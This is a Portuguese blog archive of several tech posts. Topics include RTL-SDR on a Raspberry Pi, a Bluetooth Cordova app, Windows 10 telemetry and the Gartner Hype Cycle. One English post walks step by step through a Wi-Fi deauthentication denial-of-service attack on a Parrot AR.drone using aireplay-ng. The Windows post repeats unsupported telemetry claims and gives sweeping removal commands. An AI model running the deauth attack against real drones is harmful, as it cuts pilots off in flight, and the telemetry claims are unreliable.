Arquivo da categoria: Geral

Configurando o RTL-SDR no Raspberry Pi 3

Este post apresenta a configuração do RTL-SDR para funcionar no Raspberry Pi 3 configurado com a distribuição Raspbian

RTL-SDR on Raspberry Pi 3
RTL-SDR no Raspberry Pi 3

Configurando tudo

Abra o terminal do Raspbian e digite os seguintes comandos:

pi@raspberrypi:~ $ sudo apt-get install gnuradio % leva algum tempo para instalar todos os pacotes

pi@raspberrypi:~ $ gnuradio-companion % se ele abrir o gnuradio-companion, está tudo ok

Instalando os pacotes RTL-SDR e gr-osmosdr

pi@raspberrypi:~ $ sudo apt-get install rtl-sdr gr-osmosdr

Após a instalação com sucesso, coloque o RTL-SDR na porta USB do Raspberry Pi 3 e então liste os dispositivos USB conectados:

pi@raspberrypi:~ $ lsusb

Procure por algo do tipo Realtek device (RTL), no exemplo abaixo “Realtek Semiconductor Corp. RTL2838 DVB-T”:

lsusb on Raspberry Pi 3
lsusb no Raspberry Pi 3

Agora é hora de verificar se o RTL-SDR está funcionando:

pi@raspberrypi:~ $ rtl_test

rtl_test on Raspberry Pi 3
rtl_test no Raspberry Pi 3

No meu caso ele funcionou na primeira tentativa no Raspberry Pi, no entanto, há um problema conhecido de conflito de drivers (já evidenciado no Ubuntu), em que ele associa um driver de TV Digital (dvb_usb_rtl28xxu) ao invés do rtl-sdr, caso tenha este problema, faça o seguinte:

pi@raspberrypi:~ $ sudo rmmod dvb_usb_rtl28xxu % para tornar este fix permanente, você deve mover o driver dvb_usb_rtl28xxu para a blacklist

e, tente novamente:

pi@raspberrypi:~ $ rtl_test

Testes

Instale o GQRX através do apt-get:

pi@raspberrypi:~ $ sudo apt-get install gqrx-sdr

Então execute-o:

pi@raspberrypi:~ $ gqrx

Se não for perguntado (pop-up) para selecionar o “I/O device”, vá em “File” > “I/O Devices” e então selecione Realtek RTL-SDR, agora você pode clicar no botão de “ligar” e será possível ouvir ruídos e ver que a tela de FFT (em cima) e a de waterfall (abaixo) funcionando…

Atenção:

Devido à limitações de processamento do Raspberry Pi, para evitar travamentos, você tem que reduzir a taxa de amostragem no GQRX, para isso acesse:: “File” > “I/O Devices” > “Sample Rate” ou edite o arquivo /home/pi/.config/gqrx/default.conf

RTL-SDR funciona com limite máximo de 2.4 Msps no Raspberry Pi 3 e até 1.44 Msps no Raspberry Pi 2.

Em muitos casos você pode reduzir a carga de processamento ainda mais, reduzindo o tamanho da tela, o sample rate, FFT rate e FFT size (tente 2048 at 10-15 Hz). Se você está interessando somente no FFT, defina Mode para “Demod Off”. Isto vai reduzir significativamente o processamento.

GQRX on Raspberry Pi 3
GQRX no Raspberry Pi 3

Outra opção devido a limitação do GQRX no  Raspberry Pi, você pode tentar o QTCSDR on GitHub que também permite fazer transmissão através do GPIO 18 do Raspberry Pi 3 (rpitx).

Para verificar a recepção:

  • git clone https://github.com/ha7ilm/qtcsdr
  • cd qtcsdr
  • ./rpi-install.sh
  • ./rpi-test.sh

Se o comando rpi-test.sh rodar sem problemas, digite qtcsdr na linha de comando.

pi@raspberrypi:~ $ qtcsdr

qtcsdr on Raspberry Pi 3
qtcsdr no Raspberry Pi 3

 

Parabéns! Agora seu RTL-SDR está funcionando no Raspberry Pi 3.

Criando aplicativo Mobile com Intel XDK e comunicação Bluetooth

No último final de semana tive a oportunidade de participar do Startup Weekend MAKER Unifei e o grupo que participei definiu como projeto uma plataforma de interação em ambiente virtual (Google Cardboard).

Google Cardboard e Joystick
Google Cardboard e Joystick construído

Essa plataforma de interação foi um Joystick construído com módulo arduino e comunicação Bluetooth.

O objetivo deste artigo é mostrar a integração do Intel XDK com comunicação Bluetooth sendo útil para aqueles que querem implantar essa forma de comunicação em suas aplicações mobile criadas através do Intel XDK.

Uso de API para Bluetooth

Para isso, usamos a API disponível em: https://github.com/don/BluetoothSerial

Descrita como “This plugin enables serial communication over Bluetooth. It was written for communicating between Android or iOS and an Arduino.

Essa mesma API foi criada para uso do arduino com dispositivos mobile. No nosso caso o arduino utilizava um shield do módulo Bluetooth HC-05.

Módulo Bluetooth RS232 HC-05
Módulo Bluetooth RS232 HC-05

Inserindo API no Intel XDK

Estou usando o Intel XDK versão 3522, neste caso, com o projeto já aberto:

  • Clique em “Projects”
  • Vá até o panel “Cordova Hybrid Mobile APP Settings”
  • Clique em “Plugin Management”
  • Clique em “Add Plugins to this Project”
  • Clique em “Third-Party Plugins”
  • Nesta parte você pode escolher colocar o link direto do repositório GIT do projeto (link acima) e opção “Git Repo” ou então “Import Local plugin” caso tenha feito download do plugin via Github do projeto. (Para usar a opção “Git Repo” é necessário ter o GIT instalado no computador)
  • Em seguida clique em “Add Plugin”
Bluetooth Plugin no Intel XDK
Bluetooth Plugin carregado no Intel XDK

Recebendo dados Bluetooth

Voltando para a aba “Develop” do Intel XDK é necessário editar o arquivo “www/js/app.js”, sugiro então modificá-lo para o exemplo “SimpleSerial” disponível no github do projeto, confome segue:

/*
    SimpleSerial index.js
    Created 7 May 2013
    Modified 9 May 2013
    by Tom Igoe
*/


var app = {
    macAddress: "AA:BB:CC:DD:EE:FF",  // get your mac address from bluetoothSerial.list
    chars: "",

/*
    Application constructor
 */
    initialize: function() {
        this.bindEvents();
        console.log("Starting SimpleSerial app");
    },
/*
    bind any events that are required on startup to listeners:
*/
    bindEvents: function() {
        document.addEventListener('deviceready', this.onDeviceReady, false);
        connectButton.addEventListener('touchend', app.manageConnection, false);
    },

/*
    this runs when the device is ready for user interaction:
*/
    onDeviceReady: function() {
        // check to see if Bluetooth is turned on.
        // this function is called only
        //if isEnabled(), below, returns success:
        var listPorts = function() {
            // list the available BT ports:
            bluetoothSerial.list(
                function(results) {
                    app.display(JSON.stringify(results));
                },
                function(error) {
                    app.display(JSON.stringify(error));
                }
            );
        }

        // if isEnabled returns failure, this function is called:
        var notEnabled = function() {
            app.display("Bluetooth is not enabled.")
        }

         // check if Bluetooth is on:
        bluetoothSerial.isEnabled(
            listPorts,
            notEnabled
        );
    },
/*
    Connects if not connected, and disconnects if connected:
*/
    manageConnection: function() {

        // connect() will get called only if isConnected() (below)
        // returns failure. In other words, if not connected, then connect:
        var connect = function () {
            // if not connected, do this:
            // clear the screen and display an attempt to connect
            app.clear();
            app.display("Attempting to connect. " +
                "Make sure the serial port is open on the target device.");
            // attempt to connect:
            bluetoothSerial.connect(
                app.macAddress,  // device to connect to
                app.openPort,    // start listening if you succeed
                app.showError    // show the error if you fail
            );
        };

        // disconnect() will get called only if isConnected() (below)
        // returns success  In other words, if  connected, then disconnect:
        var disconnect = function () {
            app.display("attempting to disconnect");
            // if connected, do this:
            bluetoothSerial.disconnect(
                app.closePort,     // stop listening to the port
                app.showError      // show the error if you fail
            );
        };

        // here's the real action of the manageConnection function:
        bluetoothSerial.isConnected(disconnect, connect);
    },
/*
    subscribes to a Bluetooth serial listener for newline
    and changes the button:
*/
    openPort: function() {
        // if you get a good Bluetooth serial connection:
        app.display("Connected to: " + app.macAddress);
        // change the button's name:
        connectButton.innerHTML = "Disconnect";
        // set up a listener to listen for newlines
        // and display any new data that's come in since
        // the last newline:
        bluetoothSerial.subscribe('\n', function (data) {
            app.clear();
            app.display(data);
        });
    },

/*
    unsubscribes from any Bluetooth serial listener and changes the button:
*/
    closePort: function() {
        // if you get a good Bluetooth serial connection:
        app.display("Disconnected from: " + app.macAddress);
        // change the button's name:
        connectButton.innerHTML = "Connect";
        // unsubscribe from listening:
        bluetoothSerial.unsubscribe(
                function (data) {
                    app.display(data);
                },
                app.showError
        );
    },
/*
    appends @error to the message div:
*/
    showError: function(error) {
        app.display(error);
    },

/*
    appends @message to the message div:
*/
    display: function(message) {
        var display = document.getElementById("message"), // the message div
            lineBreak = document.createElement("br"),     // a line break
            label = document.createTextNode(message);     // create the label

        display.appendChild(lineBreak);          // add a line break
        display.appendChild(label);              // add the message node
    },
/*
    clears the message div:
*/
    clear: function() {
        var display = document.getElementById("message");
        display.innerHTML = "";
    }
};      // end of app

Modificações Necessárias

Para o plugin funcionar com seu dispositivo Bluetooth é necessário alterar a variável macAddress com o endereço MAC do seu dispositivo.

As mensagens Bluetooth são recebidas e tratadas na função display, caso seja necessário tomar decisões, basta avaliar os valores recebidos na variável “message”.

Mais informações podem ser obtidas na página da API ou qualquer dúvida, pode entrar em contato.

Parrot AR.drone Denial of Service (DoS) Attack

Parrot AR.drone platform is one of best sellers commercial drones/UAS platform.
This article aims to demonstrante the attack similar to the one published by JOHN HOPKINS:

This kind of attack shows the importance of cybersecurity during design of these platforms and its safety implications.

This attack called denial of service (more info) is called “Deauthentication/Dissociation” attack, this attack aims to deauthenticate the client (normally a mobile phone as controller) connected to AR.drone.


** FOR EDUCATION PURPOSE **

Step #0 Put wireless adapter on monitor mode

airmon-ng start wlan0

Step #1 Discover AR.Drone MAC address

airodump-ng wlan0mon

//In this case: 90:03:B7:38:F5:B8

Step #2 Discover the client connected to AR.drone BSSID

airodump-ng wlan0mon -c 1 –bssid 90:03:B7:38:F5:B8

//In this case: 44:80:EB:00:0B:41

Step #3 Use aireplay-ng to disassociate the client

aireplay-ng -0 1000 -a 90:03:B7:38:F5:B8 -c 44:80:EB:00:0B:41 wlan0mon

-0 is the parameter for the Deauthentication attack, 1000 is the number os deaths, -a MAC address of Parrot AR.drone, -c the MAC address of the client and the wlan0mon the interface.


Video of attack:

Denial of Service Attack Result:

Parrot AR.Drone Denial of Service Attack
Parrot AR.Drone Denial of Service Attack

References:
SANS Whitepaper – Wireless Denial Service Attacks Mitigation

Cyber Security Labs – Deauthentication/Disassociation attack

 

A importância do “hands-on” no aprendizado

O 70:20:10 é um modelo empresarial baseado em pesquisas e estudos que demonstram que 70% do que as pessoas aprendem é através da experiência e prática, 20% através de outras pessoas (conversas, tirando dúvidas) e os 10% restantes através dos métodos “formais” de aprendizado (assistir aulas, leitura).

Se não existe prática, esquecemos 50% do que aprendemos em uma hora conforme a curva do esquecimento de Ebbingnhaus.

Um outro exemplo é o approach que a plataforma de ensino edX, adotou para enriquecer o aprendizado, fazendo uso de exercícios e simuladores:

Na área tecnológica isso se faz muito importante, sendo o desenvolvimento de software e a prática da programação grandes exemplos do uso do “hands-on” sendo que as tentativas e erros e a troca de conhecimento com outras pessoas uma forma recorrente de se aprender.

No entanto, esta filosofia de aprendizado – que mostra a importância do hands-on – pode ser extrapolada para as mais diversas áreas da vida, uma vez que o conhecimento se encontra disponível nas mais diversas formas graças a internet.

Review: Fora de Série – Outliers (Livro)

Meu vício por livros se tornou mais intenso nos últimos 2 anos e tudo devido ao mercado financeiro, em busca de me especializar, acabei fortalecendo o hábito de leitura.

Junto com esse hábito, eu que já lia alguns “Dan Brown”, adquiri uma preferência para livros que de alguma forma me acrescente conteúdo ou conhecimento.

Fora de Série - Outliers
Fora de Série – Outliers

Desta forma, um dos livros que me motivaram e mudaram muitos pré-conceitos que tinha foi o livro de Malcom Gladwell, “Fora de Série – Outliers”.

Interessante que o nome do livro em inglês é “Outliers”, palavra que não possui similar no português e acaba sendo definido como “Fora de Série”.  Outlier é uma palavra quem tem relação com a estatística, de valores amostrados, o OUTLIER é aquele totalmente fora da média, pro caso do livro, são aqueles com sucesso acima da média.

Outlier
Outlier

Minha primeira sugestão: LEIA!

Sobre o livro, ele é rico em exemplos reais (Bill Gates, Beatles, Steve Jobs, Joe Flom, entre outros) para retratar todos os conceitos que são apresentados em torno do SUCESSO.

Alguns pré-conceitos que foram quebrados em relação ao sucesso tem a ver com a contribuição da Sorte ou Meritocracia para o sucesso.

Aprender a compreender que diversos fatores influenciam no sucesso, entre eles: Momento Histórico, Origem (étnica e geográfica), Dedicação e outros fatores que são detalhados no livro.

Realmente um livro muito bom e que fica aqui a sugestão!

Abraço.

HackerRank – Programação e Competição

Recentemente recebi a sugestão de um site: o HackerRank

  • Do que se trata ?

O HackerRank foi criado por Vivek Ravisankar e Hari Karunanidhi, engenheiros da Amazon e da IBM respectivamente.

Como eles gastavam muito tempo durante o processo seletivo para essas empresas, eles resolveram criar uma ferramenta que substituísse a análise de currículos e entrevistas e fosse mais objetiva para a função, no caso programação.

Assim eles criaram diversos desafios de programação que futuramente viria a se tornar o HackerRank.

  • Opções

Fazendo um levantamento rápido das opções de “treinamento” ou “desafios” disponíveis, segue:

Algoritmos, Inteligência Artificial, Linux Shell, Segurança, Estrutura de Dados, Matemática, SQL, Banco de Dados, C++, Java, Python, Ruby, Sistemas Distribuídos e Programação Funcional.

Essa relação de itens, são as “grandes áreas”, sendo que dentro de cada um existem diversas sub-áreas para se aprofundar.

  • Primeiras Impressões

Eu estou particularmente em uma fase de expandir os conhecimentos em outras linguagens de programação, atualmente Python. Como tenho experiência em outras linguagens, o trabalho fica mais em conhecer a sintaxe e algumas particularidades da linguagem em si.

Quando se aprende uma nova linguagem, a forma de solidificar este conhecimento e melhorar o aprendizado é através de exercícios, normalmente se você trabalha com essa nova linguagem você acaba aprendendo no dia a dia, conforme os desafios aparecem. No meu caso, eu não trabalho diretamente com programação, apenas quando preciso automatizar uma atividade com VBA, portanto o aprendizado de Python carece desse estímulo.

Portanto, o HackerRank surge para suprir essa necessidade de “desafios” para auxiliar no aprendizado da nova linguagem.

Este ponto é o que me chamou a atenção. No entanto, para quem se prepara para entrevistas de emprego ou processos seletivos, acredito que tem mais essa funcionalidade de preparar o usuário para elas (tanto que esse foi o objetivo de criar o serviço).

Realmente fiquei surpreso positivamente pelo HackerRank e recomendo a todos!

Abraços.

Algumas notícias:
http://www.forbes.com/sites/anthonykosner/2014/06/12/hackerrank-solves-tech-hiring-crisis-by-finding-programmers-where-they-live/
http://techcrunch.com/2015/07/14/hacherranks-gets-7-5m-investment-from-recruit-launches-new-screening-tool-for-data-scientists-and-database-engineers/#.1dsyla:BXG7

Windows 10, novo Big Brother e como desabilitar o vazamento de informações

Aproveitando a grande onda do big data, a Microsoft veio com um Windows 10 representando bem essa idéia.

Tudo começou após eu atualizar do Windows 8 (que na minha opinião a Microsoft errou em querer forçar aquela interface estilo Windows Phone para os computadores) para o Windows 10 (que apesar de algumas lentidões, voltou com o querido “Menu Iniciar” e o Desktop).

Até então, tudo bem, estava convivendo e até que satisfeito com a mudança, até que um amigo que trabalha com segurança de informação me mandou um link que mostra a grande transmissão de informações que a Microsoft faz por “baixo dos panos” durante o uso do Windows 10.

Agora pode ter aquele grande dilema, eu me importo com isso ou não ? Se não estou fazendo nada de errado, qual o problema de eles monitorarem ? No meu caso o problema maior é o uso do meu tráfego para ficar enriquecendo o big data da Microsoft, nada contra o sucesso deles, mas acho desnecessário embutir isso no Sistema Operacional como “padrão”.

Mais sobre essa discussão ética, recomendo assistir: http://www.ted.com/talks/mikko_hypponen_how_the_nsa_betrayed_the_world_s_trust_time_to_act?language=pt-br

Retornando ao caso do Windows 10, abaixo o link do post fala sobre a transmissão de informações para a Microsoft: https://www.linkedin.com/pulse/o-windows-10-est%C3%A1-espionando-voc%C3%AA-antonio-carlos-pina

Em resumo:

  • toda informação é digitada, armazenada e enviada para a Microsoft a cada 30 minutos
  • Telemetria é enviada a cada 5 minutos
  • Se você digita um nome de filme na busca de arquivos (local), todos seus arquivos de mídia são indexados e enviados
  • quando sua Webcam é ativada, 35MB de informações são enviadas
  • Tudo que você diz ao microfone quando este está ligado é enviado
  • Se o Windows 10 fica sem uso por mais de 15 minutos, ele apresenta um tráfego de mais de 80MB

Agora como mitigar esses vazamentos:

  • Antes / Durante a instalação:
    Selecione a instalação Customizada e certifique-se de retirar todos os itens relacionados com compartilhamento de informação
  • Depois da Instalação:
    Acesse Configurações do Sistema > Configurações de Privacidade, desabilite tudo que você não utiliza.

    – Execute o prompt de comando (cmd) como Administrador e execute os seguintes comandos:
    sc delete DiagTrack
    sc delete dmwappushservice
    echo “” > C:\ProgramData\Microsoft\Diagnosis ETLLogsAutoLogger\AutoLogger-Diagtrack-Listener.et

    – Rode o editor de registros (regedit) como Administrador e altere a chave:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection
    AllowTelemetry para 0

    – Execute o Windows PowerShell como Administrador e digite o seguinte:
    Get-AppxPackage -AllUsers | Remove-AppxPackage

    – Desabilite o Hybrid Sleep, abra o Prompt de Comando (cmd) como Administrador e digite:
    powercfg -h off

Existe também uma ferramenta desenvolvida em script AutoIT (https://www.autoitscript.com/site/autoit/downloads/) que automatiza esse processo, disponível em:
https://wiiare.in/windows-10-privacy-fixer/

As informações de remoção dos vazamentos que listei não estão na íntegra conforme as fontes que utilizei, listei apenas os passos que julguei que não apresentariam riscos ao sistema, mais informações, seguem as fontes:
https://www.reddit.com/r/conspiracy/comments/3fhy27/how_do_disable_all_privacy_leaks_in_windows_10/

https://www.reddit.com/r/Windows10/comments/3f38ed/guide_how_to_disable_data_logging_in_w10

E logo em seguida, o famoso Anti-virus AVR, caiu nessa também:

http://www.tecmundo.com.br/antivirus/86641-avg-muda-termos-vender-dados-navegacao-buscas.htm

Até a próxima.

Gartner Hype Cycle – Ciclo Hype

O “Hype Cycle” – em português Ciclo Hype – publicado pela Gartner é um gráfico que visa mostrar as tendências  em tecnologia.

Hype – É uma palavra que sua tradução para o português é algo relacionado a divulgação ou marketing de determinado assunto. (saiba mais)

Publicado anualmente, ele classifica as tecnologias em um gráfico cartesiano pelos eixos “Visibilidade” e “Maturidade”.

Segundo a própria Gartner, esse gráfico tem os seguintes propósitos:

  • Usá-lo para se preparar/treinar/educar sobre as tendências em tecnologia
  • Tomar decisões estratégicas de alocar esforços ou então adotar tecnologias que podem estar em diferentes fases de maturidade e expectativa

O gráfico é representado da seguinte forma:

Ciclo Hype - Gartner
Ciclo Hype – Gartner
  • Lançamento da Tecnologia: Envolve as fases de Pesquisa e Desenvolvimento, primeiras startups, necessidades de customização, normalmente não há um produto e a viabilidade comercial não está comprovada.
  • Pico de Expectativas: grande mídia começa a publicar sobre o assunto, algumas histórias de sucesso, levantamento de vantages e desvantagens.
  • Desilusão: Problemas com fornecedores, uma minoria dos adeptos do início obtiveram sucessos, surgimento de alguns serviços, interesse diminui e as expectativas começam a não ser totalmente atingidas.
  • Rampa de Consolidação: Desenvolvimento de metodologias e boas práticas. Tecnologia começa a ser melhor compreendida, novas empresas iniciam.
  • Platô de Produtividade: aumento substancial da adoção pela tecnologia. Tecnologia já “se paga”.

Hoje em dia além do clássico ciclo Hype, mais abrangente, há o mesmo gráfico para tecnologias mais específicas como Embarcados, Redes e Comunicação, Software Open-Source, ERP, E-commerce, entre outros. Todos publicados pela Gartner.

O gráfico de 2015 foi publicado como segue:

Gartner Hype Cycle 2015
Gartner Hype Cycle 2015

Destaque para as tecnologias de “humanismo digital”, Internet das Coisas (Internet of Things – IoT), tecnologia de veículos autônomos, entre outros.

Por curiosidade, Ciclo Hype publicado em 2000:

Ciclo Hype 2000
Ciclo Hype 2000

 

Até a próxima.

Fontes:
https://en.wikipedia.org/wiki/Hype_cycle
https://www.gartner.com/doc/3100227
http://computerworld.com.br/gartner-projeta-como-coisas-mudarao-os-negocios-no-futuro-digital